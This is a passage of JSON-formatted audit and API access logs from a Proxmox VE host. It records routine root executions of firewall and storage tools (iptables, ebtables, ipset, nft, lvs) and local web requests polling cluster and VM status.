a3=8 items=1 ppid=1119 pid=59498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965335240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.240:65180): arch=c000003e syscall=59 success=no exit=-2 a0=7ffce7663410 a1=5be52d53f410 a2=5be52d51d680 a3=5 items=1 ppid=62611 pid=62612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.793:59487): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.760:68386): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475581,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.581:61174): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965325832,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781966085701,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.701:68376): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964656028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.028:62008): arch=c000003e syscall=59 success=no exit=-2 a0=7fffd60eadf0 a1=63ca0c630310 a2=63ca0c629680 a3=5 items=1 ppid=59489 pid=59490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965335139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.139:65162): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc0b836210 a1=559614987b40 a2=55961496a680 a3=5 items=1 ppid=62592 pid=62593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075788,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.788:59486): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ece9706d740 items=0 ppid=1156 pid=57131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966085756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.756:68385): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5875d162e740 items=0 ppid=1156 pid=65672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964475574,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.574:61173): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965325832,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781966085698,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.698:68375): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.951:61990): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe9a1c6de0 a1=58b32f765310 a2=58b32f75e680 a3=5 items=1 ppid=59470 pid=59471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965332630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965332.630:65152): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955f30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.784:59485): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc130f60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.753:68384): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc130640 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475567,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.567:61172): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965325832,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781966085697,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.697:68374): argc=1 a0=\"date\""} {"@timestamp":1781964655172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.172:61982): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965332630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965332.630:65151): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955f30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.779:59484): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e6730 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.748:68383): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12dcd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475562,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.562:61171): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965323825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781966085692,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.692:68372): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964655172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.172:61981): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965332603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965332.603:65149): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955e70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075774,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.774:59483): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1354e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.740:68382): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475556,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.556:61170): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965323825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966085684,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.684:68371): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964655164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.164:61979): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965332603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965332.603:65148): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955e70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.767:59482): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12ddb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.735:68381): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e4220 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475548,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.548:61169): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965323825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966085674,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.674:68370): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964655164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.164:61978): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965327597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965327.597:65145): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955db0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.762:59481): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1354e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.728:68380): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65668 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964474612,"@rawstring":"node=pve type=EXECVE msg=audit(1781964474.612:61168): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965323825,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966085669,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.669:68369): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964650157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964650.157:61969): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965327597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965327.597:65144): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955db0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.757:59480): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b004f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.720:68379): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964474583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964474.583:61167): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965322706,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966085660,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.660:68368): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964650157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964650.157:61968): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965327587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965327.587:65142): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.747:59479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.713:68378): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964474512,"@rawstring":"node=pve type=EXECVE msg=audit(1781964474.512:61166): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965322706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781966085650,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.650:68367): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964650149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964650.149:61966): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965327587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965327.587:65141): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.741:59478): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.706:68377): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964474502,"@rawstring":"node=pve type=EXECVE msg=audit(1781964474.502:61163): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965322706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781966085328,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.328:68366): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964650149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964650.149:61965): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965326083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.083:65137): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc3543b70 a1=5dbafa572200 a2=5dbafa550680 a3=5 items=1 ppid=62571 pid=62572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075736,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.736:59477): arch=c000003e syscall=59 success=yes exit=0 a0=55e632465e90 a1=55e632462c10 a2=55e632444680 a3=5 items=2 ppid=57117 pid=57123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.701:68376): arch=c000003e syscall=59 success=yes exit=0 a0=61cde60b6b20 a1=61cde60c29f0 a2=61cde6090680 a3=5 items=2 ppid=65658 pid=65664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964469483,"@rawstring":"node=pve type=EXECVE msg=audit(1781964469.483:61160): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965320725,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966085316,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.316:68363): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964645900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.900:61951): arch=c000003e syscall=59 success=no exit=-2 a0=7ffce791ed60 a1=6345ddc273d0 a2=6345ddc05680 a3=5 items=1 ppid=59444 pid=59445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965325990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.990:65119): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdeec6df60 a1=59a7c833b390 a2=59a7c8319680 a3=5 items=1 ppid=62552 pid=62553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.733:59476): arch=c000003e syscall=59 success=yes exit=0 a0=55e623a8fac8 a1=7ffde336bed0 a2=55e632444680 a3=55e623a7324e items=2 ppid=57117 pid=57119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.698:68375): arch=c000003e syscall=59 success=yes exit=0 a0=61cde4a52ac8 a1=7ffe946d91e0 